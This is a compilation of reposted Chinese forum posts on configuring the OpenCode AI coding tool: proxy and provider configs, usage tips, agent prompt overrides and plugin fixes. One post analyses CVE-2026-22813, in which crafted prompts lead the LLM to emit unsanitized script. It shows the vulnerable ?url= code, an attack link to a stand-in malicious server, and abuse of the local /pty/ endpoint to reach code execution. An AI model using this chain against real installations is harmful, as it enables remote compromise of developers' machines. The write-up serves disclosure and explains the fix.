众所周知,OpenAI、Anthropic 和 Google 三家的模型格式各不相同。目前主流是使用 基于 NewAPI 的中转站,在 OpenCode 的配置文件中通过自定义类型进行接入。

常见的配置如下:

{
  "$schema": "https://opencode.ai/config.json",
  "provider": {
    "new-api": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "NewAPI",
      "options": {
        "baseURL": "https://xxx/v1"
      },
      "models": {
        "gemini-2.0-flash": { "name": "gemini-2.0-flash" }
      }
    }
  }
}

这里存在一个潜在问题: 在这种配置下,程序实际上是在调用 /v1/chat/completions 接口。对于 Gemini 渠道的模型,请求会经过 NewAPI 的一层或多层格式转换逻辑。这不仅增加了延迟,还可能导致参数缺失或兼容性报错。

更优的解决方案: 既然部分中转站支持 Gemini 原生格式,且 OpenCode 底层基于 Vercel AI SDK,我们完全可以绕过 OpenAI 兼容层。

通过查阅 AI SDK Provider 列表,我们可以直接将 npm 包替换为原生的 @ai-sdk/google

优化后的配置:

  • 修改 npm 字段:@ai-sdk/openai-compatible 改为 @ai-sdk/google
  • 保持 baseURL 依然指向你的中转地址。
{
  "$schema": "https://opencode.ai/config.json",
  "provider": {
    "google-native": {
      "npm": "@ai-sdk/google",
      "name": "Google Native",
      "options": {
        "baseURL": "https://your-proxy.com/v1"
      },
      "models": {
        "gemini-2.5-flash": { "name": "gemini-2.5-flash" }
    },
    "anthropic-native": {
      "npm": "@ai-sdk/anthropic",
      "name": "Anthropic Native",
      "options": {
        "baseURL": "https://your-proxy.com/v1"
      },
      "models": {
        "claude-3-5-sonnet-20241022": { "name": "claude-3-5-sonnet-20241022" }
      }
    }
  }
}

这样,调用将直接走 Google 原生协议,省去了中间的转换逻辑,响应更迅速且功能支持更完整。针对 Claude 渠道,替换为 @ai-sdk/anthropic 也是同理。


📌 转载信息
转载时间:
2026/1/15 18:21:51

更新到了 1.2.0 版本

集合了四个项目

可以用两边的额度,google_search 和大香蕉生图



📌 转载信息
转载时间:
2026/1/15 18:21:10

最近已经用 OpenCode 搭配 Oh-My-OpenCode 替换 CC 了
在源码中找到 100 个小技巧

输入与文件操作

  1. 输入 @ 后跟文件名可模糊搜索并附加文件
  2. 以!开头可直接运行 shell 命令(如!ls -la)
  3. 拖放图片到终端可添加为上下文
  4. Ctrl+V 从剪贴板粘贴图片到提示框
  5. Ctrl+X E 或 /editor 在外部编辑器中编写消息
  6. Shift+Enter 或 Ctrl+J 在提示中添加换行
  7. Ctrl+C 清空输入框
  8. Escape 中途停止 AI 响应

Agent 与模型

  1. Tab 在 Build 和 Plan agent 之间切换
  2. 切换到 Plan agent 可获得建议而不实际修改
  3. 使用 @agent-name 在提示中调用专用子 agent
  4. F2 快速切换最近使用的模型
  5. /models 或 Ctrl+X M 查看和切换可用 AI 模型
  6. /connect 添加 75+ 支持的 LLM 提供商的 API key
  7. 使用 /connect 连接 OpenCode Zen 获取精选模型

会话管理

  1. /undo 撤销最后的消息和文件更改
  2. /redo 恢复之前撤销的消息和文件更改
  3. /share 创建对话的公开链接
  4. /unshare 取消会话的公开访问
  5. Ctrl+X N 或 /new 开始新会话
  6. /sessions 或 Ctrl+X L 列出并继续之前的对话
  7. /compact 在接近上下文限制时总结长会话
  8. Ctrl+X X 或 /export 将对话保存为 Markdown
  9. Ctrl+X Y 复制助手的最后一条消息到剪贴板
  10. Ctrl+X Right/Left 在父子会话间切换
  11. /rename 重命名当前会话
  12. Ctrl+X G 或 /timeline 跳转到特定消息

界面导航

  1. Ctrl+P 查看所有可用操作和命令
  2. Leader 键是 Ctrl+X,与其他键组合可快速操作
  3. Ctrl+X B 显示 / 隐藏侧边栏
  4. PageUp/PageDown 浏览对话历史
  5. Ctrl+G 或 Home 跳转到对话开头
  6. Ctrl+Alt+G 或 End 跳转到最新消息
  7. /theme 或 Ctrl+X T 在 50+ 内置主题间切换
  8. /init 根据代码库结构自动生成项目规则
  9. Ctrl+X H 切换消息中代码块的可见性
  10. Ctrl+X S 或 /status 查看系统状态信息
  11. 启用 tui.scroll_acceleration 获得 macOS 风格平滑滚动
  12. 通过命令面板 (Ctrl+P) 切换用户名显示
  13. /help 或 Ctrl+X H 显示帮助对话框
  14. /details 切换工具执行详情可见性
  15. Ctrl+Z 挂起终端返回 shell
  16. /review 审查未提交的更改、分支或 PR

配置文件

  1. 在项目根目录创建 opencode.json 进行项目特定设置
  2. 在~/.config/opencode/opencode.json 放置全局配置
  3. 添加 $schema 到配置以在编辑器中获得自动补全
  4. 配置 model 设置默认模型
  5. 通过 keybinds 部分覆盖任何快捷键
  6. 将快捷键设为 none 完全禁用它
  7. 在 mcp 配置部分配置本地或远程 MCP 服务器
  8. OpenCode 自动处理需要认证的远程 MCP 服务器的 OAuth
  9. 使用 {env:VAR_NAME} 语法在配置中引用环境变量
  10. 使用 {file:path} 在配置值中包含文件内容
  11. 使用 instructions 在配置中加载额外的规则文件
  12. 设置 agent temperature 从 0.0(专注)到 1.0(创意)
  13. 配置 maxSteps 限制每个请求的 agentic 迭代次数
  14. 设置 “tools”: {“bash”: false} 禁用特定工具
  15. 设置 “mcp_*”: false 禁用 MCP 服务器的所有工具
  16. 为每个 agent 配置覆盖全局工具设置
  17. 设置 “share”: “auto” 自动共享所有会话
  18. 设置 “share”: “disabled” 阻止任何会话共享
  19. 使用 “theme”: “system” 匹配终端颜色

自定义命令与 Agent

  1. 在 .opencode/command/ 添加 .md 文件定义可重用自定义提示
  2. 在自定义命令中使用 $ARGUMENTS、$1、$2 进行动态输入
  3. 在命令中使用反引号注入 shell 输出(如 git status
  4. 在 .opencode/agent/ 添加 .md 文件创建专用 AI 角色
  5. 为 edit、bash 和 webfetch 工具配置每个 agent 的权限
  6. 使用 “git *”: “allow” 模式进行细粒度 bash 权限
  7. 设置 “rm -rf *”: “deny” 阻止破坏性命令
  8. 配置 “git push”: “ask” 在推送前要求批准
  9. 运行 opencode agent create 进行引导式 agent 创建

格式化与 LSP

  1. OpenCode 使用 prettier、gofmt、ruff 等自动格式化文件
  2. 在配置中设置 “formatter”: false 禁用所有自动格式化
  3. 在配置中定义带文件扩展名的自定义格式化命令
  4. OpenCode 使用 LSP 服务器进行智能代码分析

工具与插件

  1. 在 .opencode/tool/ 创建 .ts 文件定义新的 LLM 工具
  2. 工具定义可以调用 Python、Go 等编写的脚本
  3. 在 .opencode/plugin/ 添加 .ts 文件创建事件钩子
  4. 使用插件在会话完成时发送系统通知
  5. 创建插件阻止 OpenCode 读取敏感文件

CLI 使用

  1. opencode run 用于非交互式脚本
  2. opencode run --continue 恢复上一个会话
  3. opencode run -f file.ts 通过 CLI 附加文件
  4. –format json 用于脚本中的机器可读输出
  5. opencode serve 用于无头 API 访问 OpenCode
  6. opencode run --attach 连接到运行中的服务器
  7. opencode upgrade 更新到最新版本
  8. opencode auth list 查看所有配置的提供商
  9. opencode debug config 排查配置问题
  10. –print-logs 标志在 stderr 中查看详细日志

GitHub 集成

  1. 在 GitHub issues/PRs 中使用 /opencode 触发 AI 操作
  2. opencode github install 设置 GitHub workflow
  3. 在 issues 上评论 /opencode fix this 自动创建 PR
  4. 在 PR 代码行上评论 /oc 进行针对性代码审查
  5. 提交项目的 AGENTS.md 文件到 Git 供团队共享

主题

  1. 在 .opencode/themes/ 目录创建 JSON 主题文件
  2. 主题支持深色 / 浅色变体
  3. 在自定义主题中引用 ANSI 颜色 0-255

权限

  1. doom_loop 权限防止无限工具调用循环
  2. external_directory 权限保护项目外的文件

容器化

  1. 运行 docker run -it --rm Package opencode · GitHub 使用容器化版本


来源


📌 转载信息
原作者:
chowxiaodi
转载时间:
2026/1/15 18:15:08

继【 OpenCode - CPA - OneAPI 】 :

现象:

ValidationException: messages: text content blocks must be non-empty

原因分析:

  1. OpenCode 在工具调用后,assistant 消息可能只有 tool_calls 没有文字内容
  2. CPA 转换时设置 content: “”(空字符串)
  3. AWS Bedrock 比标准 OpenAI API 更严格,不接受空的 content

解决:

修改 CPA 源码 internal/translator/openai/claude/openai_claude_request.go

// 修复前
msgJSON, _ = sjson.Set(msgJSON, "content", "")

// 修复后:用空格替代空字符串
msgJSON, _ = sjson.Set(msgJSON, "content", " ")


📌 转载信息
转载时间:
2026/1/15 18:13:43


漏洞概述

CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。

漏洞背景

OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。

三重攻击链解析

第一环:XSS漏洞(初始立足点)

漏洞位置:OpenCode网页UI的Markdown渲染器

根本原因

1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能

2 缺乏CSP防护:网页界面没有实施内容安全策略

3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义

攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。

技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器)

功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程

1 用户浏览器访问本地OpenCode页面(localhost:4096

2 网页UI读取?url=参数,连接至攻击者控制的服务器

3从攻击者服务器加载预先准备好的恶意会话内容

4恶意内容触发第一环的XSS漏洞

关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。

第三环:本地API滥用(最终杀伤)

高危API端点http://localhost:4096/pty/

API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。

同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以:

1下载并执行远程恶意脚本

2安装后门程序

3窃取敏感文件

4横向移动至内网其他系统

漏洞复现

image.png



提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。

1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json



这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。

启动简易HTTP服务器

3.进行攻击

1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL

在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。

4 确认文件是在目录中创建/tmp/



漏洞修复



image.png



移除内嵌JavaScript

image.png



添加了 DOMPurify 依赖

image.png



在图像预览组件中添加了安全处理

防止了XSS攻击

移除移除动态JavaScript执行和自定义URL参数

image.png



改了306行代码,近乎重写了该文件

移除自定义URL参数

image.png



通过props控制,不再从window对象读取

结论

CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出:

1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护

2 信任模型的缺陷:过度信任客户端输入和本地网络环境

3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模

实际上是因为 opencode-anthropic-auth 插件,只针对 oauth 登录做了特殊处理(因为正常的 claude code max 就是 oauth 登录)。api 类型的话没做。

官方大概率是不会处理了,因为会影响正常的 api 用户(非 claude code max 中转)

这里提供一个 workaround

git clone https://github.com/J3n5en/opencode-anthropic-auth
cd opencode-anthropic-auth
bun i

然后修改 opencode.json

{
  "plugin": [
    "file:///path/to/opencode-anthropic-auth/index.mjs"
  ],
  "provider": {
    "anthropic": {
      "options": {
        "baseURL": "xxxxxx/v1"
      }
    }
  },
  "$schema": "https://opencode.ai/config.json"
}

最后使用 opencode auth login 选择 Anthropic 选择 Manually enter API Key 填入你的 key 即可


📌 转载信息
原作者:
J3n5en
转载时间:
2026/1/15 10:21:22

之前分享了一个 opencode 的配置,大家也给我提了很多意见,感谢大家!!!

但是我在使用 opencode 的时候当上下文快满的时候自动进行上下文压缩,但是会报错,然后我尝试了手动压缩 /compact 指令,我发现了一个很有意思的现象,当我不使用工具调用的时候可以正常压缩,但是我只要使用工具调用就报错:Bad Request: Improperly formed request. 所以我就猜测是因为思考块里面带了工具调用,致使 CPA 不支持,所以我就开始改 CPA,修复逻辑如下

然后吭哧吭哧改了两天,调了很多次,最后可以正常压缩了,但是工具调用的时候一直循环,无奈宣告失败。。。

但是,我在查文档的时候发现压缩上下文的也是一个子代理,默认使用的是主模型,那既然这样,我换一个模型不就行了,直接开干,因为我设置了 google 的 api 所以我用的是 google 模型。



正常工作,果然,opencode 的高自定义程度名不虚传,好玩爱玩,如果有佬有更好的方法,欢迎分享,在此献上我的 opencode.json 文件,大家可以看看:

{
  "$schema": "https://opencode.ai/config.json",
  "model": "cpa-claude/kiro-claude-opus-4-5-agentic(high)",
  "agent": {
    "compaction": {
      "model": "google/antigravity-gemini-3-pro-low"
    }
  },
  "plugin": [
    "oh-my-opencode",
    "opencode-antigravity-auth@1.2.8",
    "opencode-openai-codex-auth@4.3.0"
  ],
  "provider": {
    "cpa-claude": {
      "npm": "@ai-sdk/anthropic",
      "name": "cpa-claude",
      "options": {
        "baseURL": "http://127.0.0.1:8317/v1"},
      "models": {
        "gemini-claude-opus-4-5-thinking(high)": {
          "name": "gemini-claude-opus-4-5-thinking(high)",
          "limit": {
            "context": 204800,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          },
          "options": {
            "thinking": {
              "type": "enabled",
              "budgetTokens": 16000
            }
          }
        },
        "gemini-claude-sonnet-4-5-thinking(high)": {
          "name": "gemini-claude-sonnet-4-5-thinking(high)",
          "limit": {
            "context": 204800,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          },
          "options": {
            "thinking": {
              "type": "enabled",
              "budgetTokens": 16000
            }
          }
        },
        "kiro-claude-sonnet-4-5-agentic": {
          "name": "claude-sonnet-4-5-nothinking",
          "limit": {
            "context": 204800,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          }
        },
        "kiro-claude-sonnet-4-5-agentic(high)": {
          "name": "claude-sonnet-4-5",
          "limit": {
            "context": 204800,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          },
          "options": {
            "thinking": {
              "type": "enabled",
              "budgetTokens": 16000
            }
          }
        },
        "kiro-claude-opus-4-5-agentic(high)": {
          "name": "claude-opus-4-5",
          "limit": {
            "context": 204800,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          },
          "options": {
            "thinking": {
              "type": "enabled",
              "budgetTokens": 16000
            }
          }
        }
      }
    },
    "cpa-gemini": {
      "name": "cpa-gemini",
      "options": {
        "baseURL": "http://127.0.0.1:8317/v1"
      },
      "models": {
        "gemini-3-pro-preview": {
          "name": "gemini-3-pro-preview",
          "limit": {
            "context": 1048576,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          },
          "options": {
            "thinking": {
              "type": "enabled",
              "budgetTokens": 16000
            }
          }
        },
        "gemini-3-flash-preview": {
          "name": "gemini-3-flash-preview",
          "limit": {
            "context": 1048576,
            "output": 65536
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          },
          "options": {
            "thinking": {
              "type": "enabled",
              "budgetTokens": 16000
            }
          }
        }
      }
    },
    "google": {
      "name": "Google",
      "models": {
        "antigravity-gemini-3-pro-high": {
          "name": "Gemini 3 Pro High (Antigravity)",
          "thinking": true,
          "attachment": true,
          "limit": {
            "context": 1048576,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          }
        },
        "antigravity-gemini-3-pro-low": {
          "name": "Gemini 3 Pro Low (Antigravity)",
          "thinking": true,
          "attachment": true,
          "limit": {
            "context": 1048576,
            "output": 65535
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          }
        },
        "antigravity-gemini-3-flash": {
          "name": "Gemini 3 Flash (Antigravity)",
          "attachment": true,
          "limit": {
            "context": 1048576,
            "output": 65536
          },
          "modalities": {
            "input": [
              "text",
              "image",
              "pdf"
            ],
            "output": [
              "text"
            ]
          }
        }
      }
    },
    "openai": {
      "name": "OpenAI",
      "options": {
        "reasoningEffort": "medium",
        "reasoningSummary": "auto",
        "textVerbosity": "medium",
        "include": [
          "reasoning.encrypted_content"
        ],
        "store": false
      },
      "models": {
        "gpt-5.2": {
          "name": "GPT 5.2 (OAuth)",
          "limit": {
            "context": 272000,
            "output": 128000
          },
          "modalities": {
            "input": [
              "text",
              "image"
            ],
            "output": [
              "text"
            ]
          },
          "variants": {
            "none": {
              "reasoningEffort": "none",
              "reasoningSummary": "auto",
              "textVerbosity": "medium"
            },
            "low": {
              "reasoningEffort": "low",
              "reasoningSummary": "auto",
              "textVerbosity": "medium"
            },
            "medium": {
              "reasoningEffort": "medium",
              "reasoningSummary": "auto",
              "textVerbosity": "medium"
            },
            "high": {
              "reasoningEffort": "high",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            },
            "xhigh": {
              "reasoningEffort": "xhigh",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            }
          }
        },
        "gpt-5.2-codex": {
          "name": "GPT 5.2 Codex (OAuth)",
          "limit": {
            "context": 272000,
            "output": 128000
          },
          "modalities": {
            "input": [
              "text",
              "image"
            ],
            "output": [
              "text"
            ]
          },
          "variants": {
            "low": {
              "reasoningEffort": "low",
              "reasoningSummary": "auto",
              "textVerbosity": "medium"
            },
            "medium": {
              "reasoningEffort": "medium",
              "reasoningSummary": "auto",
              "textVerbosity": "medium"
            },
            "high": {
              "reasoningEffort": "high",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            },
            "xhigh": {
              "reasoningEffort": "xhigh",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            }
          }
        },
        "gpt-5.1-codex-max": {
          "name": "GPT 5.1 Codex Max (OAuth)",
          "limit": {
            "context": 272000,
            "output": 128000
          },
          "modalities": {
            "input": [
              "text",
              "image"
            ],
            "output": [
              "text"
            ]
          },
          "variants": {
            "low": {
              "reasoningEffort": "low",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            },
            "medium": {
              "reasoningEffort": "medium",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            },
            "high": {
              "reasoningEffort": "high",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            },
            "xhigh": {
              "reasoningEffort": "xhigh",
              "reasoningSummary": "detailed",
              "textVerbosity": "medium"
            }
          }
        }
      }
    }
  }
}

除了使用 google/antigravity-gemini-3-pro-low 还可以使用 opencode 提供的免费模型,比如 GLM4.7。

当然,这个只是一个曲线救国的方法,如果有佬有更好的方法,欢迎分享!!!

配置问题可以看看之前那个帖子


📌 转载信息
原作者:
shenning
转载时间:
2026/1/14 18:31:16

各位佬如果有去看过文档

它会告诉你默认的有 4 个 agent
主代理的 Plan 和 Build
子代理的 General 和 Explorer
这些里面说的都很清楚了,这里就不赘述了

还有三个内置的主代理 title summary 和 compaction
看名字大家应该能理解是干嘛用的


summary 就是左侧的内容 title 就是右侧的每次对话的小标
compaction 是上下文超限后执行压缩的代理

这三个都是主代理,但是设置为 hidden,所以默认无法自己选择

但是他们的系统提示词都是可以覆盖修改的
这就可以实现比如归纳总结都以中文输出的目的

以 title 为例
全局路径~/user/.config/opencode/agent/
项目路径 项目目录 /.opencode/agent/
编写 title.md

我用的是默认的内容调整为符合中文的形式,大家也可以随便改成符合自己需求的

---
description: 标题生成(中文输出)
---

你是一个标题生成器。你只输出一个对话标题。不输出其他任何内容。

<task>
生成一个简短的标题,帮助用户稍后找到此对话。

严格遵守 <rules> 中的所有规则。
参考 <examples> 了解什么样的标题是好的。
你的输出必须满足:
- 仅一行
- ≤ 50 个字符
- 必须使用中文输出
- 没有解释或多余的废话
</task>

<rules>
- 标题必须语法通顺,读起来自然,拒绝词语堆砌
- 绝不要在标题中包含工具名称(如 "read tool", "bash tool", "edit tool")
- 聚焦于用户想要检索的核心话题或问题
- 变换措辞——避免重复的模式(如总是以“分析”、“正在”开头)
- 当提到文件时,关注用户想对文件做什么,而不仅仅是他们提供了文件
- 保留关键信息:技术术语、数字、文件名、HTTP 状态码
- 移除无意义的虚词(如 the, this, my, a, an 等)
- 不要预设技术栈
- 不要调用任何工具
- 绝不回答用户的问题,只为对话生成标题
- 标题中不要包含“总结”或“生成”这类元描述词汇
- 即使输入很少,也要输出有意义的内容,不要抱怨输入无法生成
- 如果用户消息很短或属于闲聊(例如 "hello", "lol", "what's up", "hey"):
  → 创建一个反映用户语气或意图的标题(如:问候、快速确认、闲聊、开场白 等)
</rules>

<examples>
"debug 500 errors in production" → 调试生产环境 500 错误
"refactor user service" → 重构用户服务
"why is app.js failing" → 排查 app.js 故障
"implement rate limiting" → 实现速率限制
"how do I connect postgres to my API" → Postgres API 连接方法
"best practices for React hooks" → React hooks 最佳实践
"@src/auth.ts can you add refresh token support" → src/auth.ts 添加刷新令牌支持
"@utils/parser.ts this is broken" → 修复 utils/parser.ts 错误
"look at @config.json" → 审查 config.json 配置
"@App.tsx add dark mode toggle" → App.tsx 添加暗黑模式切换
</examples>

另外附上三个原本的内容,大家可以根据需要进行调整修改

title

You are a title generator. You output ONLY a thread title. Nothing else.

<task>
Generate a brief title that would help the user find this conversation later.

Follow all rules in <rules>
Use the <examples> so you know what a good title looks like.
Your output must be:
- A single line
- ≤50 characters
- No explanations
</task>

<rules>
- Title must be grammatically correct and read naturally - no word salad
- Never include tool names in the title (e.g. "read tool", "bash tool", "edit tool")
- Focus on the main topic or question the user needs to retrieve
- Vary your phrasing - avoid repetitive patterns like always starting with "Analyzing"
- When a file is mentioned, focus on WHAT the user wants to do WITH the file, not just that they shared it
- Keep exact: technical terms, numbers, filenames, HTTP codes
- Remove: the, this, my, a, an
- Never assume tech stack
- Never use tools
- NEVER respond to questions, just generate a title for the conversation
- The title should NEVER include "summarizing" or "generating" when generating a title
- DO NOT SAY YOU CANNOT GENERATE A TITLE OR COMPLAIN ABOUT THE INPUT
- Always output something meaningful, even if the input is minimal.
- If the user message is short or conversational (e.g. "hello", "lol", "what's up", "hey"):
  → create a title that reflects the user's tone or intent (such as Greeting, Quick check-in, Light chat, Intro message, etc.)
</rules>

<examples>
"debug 500 errors in production" → Debugging production 500 errors
"refactor user service" → Refactoring user service
"why is app.js failing" → app.js failure investigation
"implement rate limiting" → Rate limiting implementation
"how do I connect postgres to my API" → Postgres API connection
"best practices for React hooks" → React hooks best practices
"@src/auth.ts can you add refresh token support" → Auth refresh token support
"@utils/parser.ts this is broken" → Parser bug fix
"look at @config.json" → Config review
"@App.tsx add dark mode toggle" → Dark mode toggle in App
</examples>

summary

Summarize what was done in this conversation. Write like a pull request description.

Rules:
- 2-3 sentences max
- Describe the changes made, not the process
- Do not mention running tests, builds, or other validation steps
- Do not explain what the user asked for - Write in first person (I added..., I fixed...)
- Never ask questions or add new questions
- If the conversation ends with an unanswered question to the user, preserve that exact question
- If the conversation ends with an imperative statement or request to the user (e.g. "Now please run the command and paste the console output"), always include that exact request in the summary

compaction

You are a helpful AI assistant tasked with summarizing conversations.

When asked to summarize, provide a detailed but concise summary of the conversation. 
Focus on information that would be helpful for continuing the conversation, including:
- What was done - What is currently being worked on - Which files are being modified - What needs to be done next - Key user requests, constraints, or preferences that should persist - Important technical decisions and why they were made

Your summary should be comprehensive enough to provide context but concise enough to be quickly understood.

📌 转载信息
转载时间:
2026/1/14 10:59:25

相信很多人都知道反重力 opus4.5 是怎么用的

条件1:准备chrome会员账号,可以到闲鱼上购买

条件2: 下载 [反重力客户端](https://github.com/lbjlaq/Antigravity-Manager)

这边我不过多的介绍,大家自行搜索 + AI 研究

今天我要介绍的是一个高级玩法

cch 反代 Antigravity 的反代,下载后自行用 AI 研究下。

大家可以看到我发的 gemini 3 pro 也能用,这是怎么做到的尼

先看配置:

Antigravity 暴露的端口是 8045,我们用 docker 部署 claude-code-hub 后正常是访问不到电脑上 8045 端口的,必须把电脑上的 8045 端口暴露给 docker(这里不过多介绍,大家自行用 ai 研究)

然后看到我的截图中供应商类型是 Gemini (Google Gemini API), 这一步很关键,我们的 Gemini 的用法 不是在 gemini cli 之中使用的,而是通过 api 转发,转发给 opencode 使用的,opencode 是一款开源的类似 claude code cli 的脚手架,链接贴进来了,大家自行用 ai 研究一下,当然还可以用 oh my opencode 强化一下你的 cli

然后,更改一下配置

code ~/.config/opencode/opencode.json

provider 属性下新增

"google": { "options": { "baseURL": "http://127.0.0.1:13000", "apiKey": "your api key (在 http://localhost:23000/zh-CN/dashboard/users 新增用户后获取)" }, "models": { "antigravity-gemini-3-pro-high": { "name": "Gemini 3 Pro High (Antigravity)", "limit": { "context": 1048576, "output": 65535 }, "modalities": { "input": [ "text", "image", "pdf" ], "output": [ "text" ] } }, "antigravity-gemini-3-flash": { "name": "Gemini 3 Flash (Antigravity)", "limit": { "context": 1048576, "output": 65536 }, "modalities": { "input": [ "text", "image", "pdf" ], "output": [ "text" ] } } } } 

然后我们运行 opencode 输入 /models,将模型切到如下

最后看下效果


📌 转载信息
原作者:
carve
转载时间:
2026/1/14 10:59:17

问题背景

这个问题困扰了我很久,今天终于解决了,分享出来希望能帮到遇到类似情况的佬友。

我的 OpenCode 启动速度非常慢,体验远不如 Claude Code 那般丝滑。一开始以为是 OpenCode 本身的问题,但搜遍了网上的经验帖,似乎没人遇到过这种情况。

排查过程

通过 opencode --print-logs 打印日志,发现时间基本都耗在插件安装上:

阶段耗时问题
oh-my-opencode@latest 安装12.89s每次启动都重新下载
@tarquinen/opencode-dcp@latest 安装13.91s每次启动都重新下载
MCP 服务器初始化~3-4s正常
models.dev 超时2.8s网络问题
总计~29s

根本原因

日志中有这么一条关键信息:

service=bun pkg=oh-my-opencode version=latest installing package using Bun's default registry resolution

问题就出在这里:插件配置使用了 latest 版本,导致每次启动都触发 bun add --force,重新从 npm 下载

解决方法

编辑 ~/.config/opencode/package.json,将 latest 替换为具体版本号:

{ "dependencies": { "@opencode-ai/plugin": "1.1.16", "oh-my-opencode": "2.14.0", "@tarquinen/opencode-dcp": "1.1.6", "opencode-antigravity-auth": "1.2.8", "opencode-copilot-auth": "0.0.12", "opencode-anthropic-auth": "0.0.8", "@franlol/opencode-md-table-formatter": "0.0.3" } } 

然后执行:

cd ~/.config/opencode
bun install

效果

启动时间从 ~29s 降到~3-5s(仅剩 MCP 初始化时间)。


附:个人使用的插件

最后分享一下我个人使用的插件配置,供佬友们参考:

{ "plugin": [ "oh-my-opencode", "opencode-antigravity-auth@1.2.8", "opencode-openai-codex-auth", "@tarquinen/opencode-dcp@1.1.6", "@franlol/opencode-md-table-formatter@0.0.3" ] } 

插件功能说明

  • oh-my-opencode
    多 Agent 编排插件,提供 Sisyphus Agent、子 Agent 调度、Skill 技能、MCP 集成等功能

  • opencode-antigravity-auth
    Antigravity(Google IDE)OAuth 认证,可使用 Gemini 3 Pro、Claude Opus 4.5 Thinking 等模型

  • opencode-openai-codex-auth
    OpenAI Codex OAuth 认证,使用 ChatGPT Plus/Pro 订阅额度,无需消耗 API credits

  • @tarquinen/opencode-dcp
    动态上下文剪枝(Dynamic Context Pruning),自动清理过时的工具输出,优化 token 使用

  • @franlol/opencode-md-table-formatter
    Markdown 表格自动格式化,支持隐藏模式

更多插件

想探索更多社区插件?可以访问 OpenCode 官方生态页面:

Ecosystem | OpenCode

这里收录了社区构建的各类插件、项目和 Agent 配置,包括:

  • 认证插件:Gemini、Codex、Antigravity 等多种 OAuth 认证方案

  • 效率工具:动态上下文剪枝、快速代码编辑、桌面通知等

  • 编辑器集成:Neovim、Obsidian、VS Code 等

  • Agent 增强:模块化 Agent、结构化工作流等


📌 转载信息
原作者:
YuChenghhh
转载时间:
2026/1/14 10:45:17